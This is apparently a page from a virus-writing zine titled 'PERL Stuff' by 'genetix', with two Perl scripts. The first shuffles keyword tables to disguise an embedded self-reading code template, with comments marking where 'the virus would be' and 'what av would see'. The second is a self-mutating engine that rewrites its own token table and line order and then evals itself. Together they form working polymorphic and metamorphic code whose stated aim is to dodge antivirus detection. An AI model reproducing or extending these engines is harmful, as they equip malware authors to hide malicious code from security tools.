┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ PERL Stuff │ █ │ ~ genetix └───────────────────█ ──┘ 1.pl

#!/usr/bin/perl
@original_kw = qw(print if else for elsif open close local do while my push next);
@kw = @original_kw;

#headache
sub rndkw { $_ = ' 'x@_; $i = @_ ;s/ /$j = rand($i--);
@_[$i,$j] = @_[$j, $i]; ''/ge;@_} @kw = rndkw(@kw);$_=
join ' ' , 0..$#original_kw; s/(\d+)/$index{$1 } = [grep {
$kw[$_] eq $original_kw[$1]} 0..$#kw]->[0];''/ge;

#the virus would be here
my $code = <<"END_CODE";
\$kw[5] \$kw[10] \$f, '<', 't.tmp';
\$kw[10] \$metacode = \$kw[8] { \$kw[7] \$/; <\$f> };
\$kw[6] \$fh; \$kw[5] \$kw[10] \$fh, '<', \$0;
\$kw[10] \@data; \$kw[10] \$skipping = 0;
\$kw[9] (\$kw[10] \$line = <\$fh>) {
chomp \$line; \$kw[1] (\$line eq '#poly') {
\$kw[11] \@data, \$line;\$kw[11] \@data, \$metacode;  
\$skipping = 1;\$kw[12];}\$kw[1] (\$line eq '#end#') {
\$kw[11] \@data, \$line;\$skipping = 0;\$kw[12];
}\$kw[12] \$kw[1] \$skipping;\$kw[11] \@data, \$line;}
\$kw[6] \$fh; unlink "t.tmp";\$kw[0] join("\\n", \@data), "\\n";
END_CODE

#this is what av would see
$code =~ s/\$kw\[(\d+)\]/'\$kw[' . $index{$1} . ']'/ge;
print $code;
2.pl

use List::Util qw(shuffle);

my @arr = qw!shuffle split = @ } or ; , { local shift die print do map join o s . ) ( p m 0 / \\ # ^!; #could add more
#below is the code which changes in 2 different ways. the "engine" itself is mutated
my @x = (
[ 1,  '$code', "$arr[2]", "$arr[13]", "$arr[8]" ],
[ 2,  "$arr[9]", "$arr[20]", "$arr[3]", 'ARGV', "$arr[7]", '$/', "$arr[19]" ],
[ 3,  "$arr[2]", "$arr[10]", '||$0;<>', "$arr[4]", "$arr[6]" ],
[ 4,  '$code=~/my \@arr = qw!(.*?)!;/s ', "$arr[5]", ' ', "$arr[11]", "$arr[6]" ],
[ 5,  "$arr[3]", "$arr[16]", "$arr[2]", "$arr[1]", q{' '}, "$arr[7]", '$1', "$arr[6]" ],
[ 6,  "$arr[3]", "$arr[17]", "$arr[2]", "$arr[0]", "$arr[3]", "$arr[16]", "$arr[6]" ],
[ 7,  "$arr[3]", "$arr[21]", "$arr[8]", "$arr[3]", "$arr[17]", "$arr[4]" ],
[ 8,  "$arr[2]", "$arr[23]", '..$#s', "$arr[6]" ],
[ 9,  "$arr[3]", "$arr[22]", "$arr[2]", "$arr[14]", ' $p{$o[$_]}' ],
[ 10, "$arr[7]", "$arr[23]", '..$#o', "$arr[6]" ],
[ 11, q{$code=~s/my \@arr = qw![^!]*!;/'my @arr = qw!'.} ],
[ 12, "$arr[15]", q{(' ',@s).'!;'/e;} ],
[ 13, '$code=~s/\$arr\[(\d+)\]/"\$arr[$m[$1]]"/ge', "$arr[6]" ],
[ 14, q{$code=~/(.*?my \@x = \(\n)(.*?)(\n\);.*)/s or die;$pre=$1;$mid=$2;$post=$3;} ],
[ 15, q{@l=split/\n/,$mid;} ],
[ 16, q{@l=shuffle @l;} ],
[ 17, q{$code=$pre.join("\n",@l).$post;} ],
[ 18, "$arr[12]", ' $code', "$arr[6]" ],
);

my ($code, $x, $pre, $mid, $post, @l, @s, @o, %p, @m);

$x = join '', map join('', @{$_}[1..$#$_]), sort { $a->[0] <=> $b->[0] } @x; #re-order the shuffled array before using eval ofc.

eval $x;
die $@ if $@; 
--[ PREV | HOME | NEXT ]--